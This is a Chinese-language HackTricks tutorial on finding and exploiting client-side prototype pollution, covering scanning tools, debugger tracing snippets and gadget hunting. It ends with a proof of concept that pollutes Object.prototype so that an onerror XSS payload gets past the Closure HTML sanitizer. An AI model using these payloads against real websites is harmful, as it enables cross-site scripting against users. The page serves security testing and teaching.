# Client Side Prototype Pollution

<details>

<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## 使用自动工具发现

可以使用工具[**https://github.com/dwisiswant0/ppfuzz**](https://github.com/dwisiswant0/ppfuzz?tag=v1.0.0)**，**[**https://github.com/kleiton0x00/ppmap**](https://github.com/kleiton0x00/ppmap) **和** [**https://github.com/kosmosec/proto-find**](https://github.com/kosmosec/proto-find) **来**发现原型污染漏洞\*\*。

此外，您还可以使用**浏览器扩展程序** [**PPScan**](https://github.com/msrkp/PPScan) **自动** **扫描**您**访问**的**页面**以查找原型污染漏洞。

### 调试属性使用位置 <a href="#id-5530" id="id-5530"></a>

{% code overflow="wrap" %}

```javascript
// Stop debugger where 'potentialGadget' property is accessed
Object.defineProperty(Object.prototype,'potentialGadget', {__proto__:null, get(){
console.trace();
return 'test';
}})
```

{% endcode %}

### 寻找原型污染的根本原因 <a href="#id-5530" id="id-5530"></a>

一旦任何工具识别出原型污染漏洞，并且如果代码不是过于复杂，您可以通过在Chrome开发者工具中搜索关键字，如`location.hash`、`decodeURIComponent`或`location.search`来找到漏洞。这种方法可以帮助您准确定位JavaScript代码中的漏洞部分。

对于更大更复杂的代码库，发现易受攻击代码的简单方法包括以下步骤：

1. 使用工具识别漏洞并获取一个设计用于在构造函数中设置属性的有效载荷。ppmap提供的一个示例可能是：`constructor[prototype][ppmap]=reserved`。
2. 在将执行页面上的第一行JavaScript代码处设置断点。使用有效载荷刷新页面，使执行在此断点处暂停。
3. 当JavaScript执行暂停时，在JS控制台中执行以下脚本。此脚本将在创建'ppmap'属性时发出信号，有助于定位其来源：

```javascript
function debugAccess(obj, prop, debugGet=true){

var origValue = obj[prop];

Object.defineProperty(obj, prop, {
get: function () {
if (debugGet)
debugger;
return origValue;
},
set: function(val) {
debugger;
origValue = val;
}
});

};

debugAccess(Object.prototype, 'ppmap')
```

4. 导航回**Sources**选项卡，选择“Resume script execution”。JavaScript将继续执行，并且'ppmap'属性将如预期般被污染。利用提供的代码片段有助于确定'ppmap'属性被污染的确切位置。通过检查**Call Stack**，可以观察到发生污染的不同堆栈。

在决定要调查哪个堆栈时，通常有用的方法是针对与JavaScript库文件相关的堆栈，因为原型污染经常发生在这些库中。通过检查其附加到库文件的相关堆栈来识别相关堆栈（在右侧可见，类似于提供的指南图像）。在存在多个堆栈的情况下，例如第4行和第6行，逻辑选择是第4行的堆栈，因为它代表了污染的初始发生，从而是漏洞的根本原因。单击堆栈将引导您到易受攻击的代码。

![https://miro.medium.com/max/1400/1\*S8NBOl1a7f1zhJxlh-6g4w.jpeg](https://miro.medium.com/max/1400/1*S8NBOl1a7f1zhJxlh-6g4w.jpeg)

## 查找脚本工具

工具是**一旦发现PP漏洞将被滥用的代码**。

如果应用程序很简单，我们可以**搜索**关键字，如\*\*`srcdoc/innerHTML/iframe/createElement`**，并查看源代码，检查是否**导致JavaScript执行\*\*。有时，提到的技术可能根本找不到工具。在这种情况下，纯源代码审查会揭示一些不错的工具，如下面的示例。

### 在Mithil库代码中查找PP工具的示例

查看此解说：<https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/>

## 重新编译用于易受攻击库的有效载荷

* <https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#prototype-pollution>
* <https://github.com/BlackFan/client-side-prototype-pollution>

## 通过PP绕过HTML消毒器

[**这项研究**](https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/)展示了要使用的PP工具，以**绕过一些HTML消毒器库提供的消毒**：

* **sanitize-html**

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-f9cd3f757a2ae8020608a447cf7c6c79092c2b99%2Fimage%20(668).png?alt=media" alt="https://research.securitum.com/wp-content/uploads/sites/2/2020/08/image-7.png"><figcaption></figcaption></figure>

* **dompurify**

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-b6585ebb93bb5449bffb58f90414f0dc27dadc39%2Fimage%20(669).png?alt=media" alt="https://research.securitum.com/wp-content/uploads/sites/2/2020/08/image-9.png"><figcaption></figcaption></figure>

* **Closure**

```html
<!-- from https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/ -->
<script>
Object.prototype['* ONERROR'] = 1;
Object.prototype['* SRC'] = 1;
</script>
<script src=https://google.github.io/closure-library/source/closure/goog/base.js></script>
<script>
goog.require('goog.html.sanitizer.HtmlSanitizer');
goog.require('goog.dom');
</script>
<body>
<script>
const html = '<img src onerror=alert(1)>';
const sanitizer = new goog.html.sanitizer.HtmlSanitizer();
const sanitized = sanitizer.sanitize(html);
const node = goog.dom.safeHtmlToNode(sanitized);

document.body.append(node);
</script>
```

## 参考资料

* <https://infosecwriteups.com/hunting-for-prototype-pollution-and-its-vulnerable-code-on-js-libraries-5bab2d6dc746>
* <https://blog.s1r1us.ninja/research/PP>
* [https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/#:\~:text=my%20challenge.-,Closure,-Closure%20Sanitizer%20has](https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/)

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

支持HackTricks的其他方式：

* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版本的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>
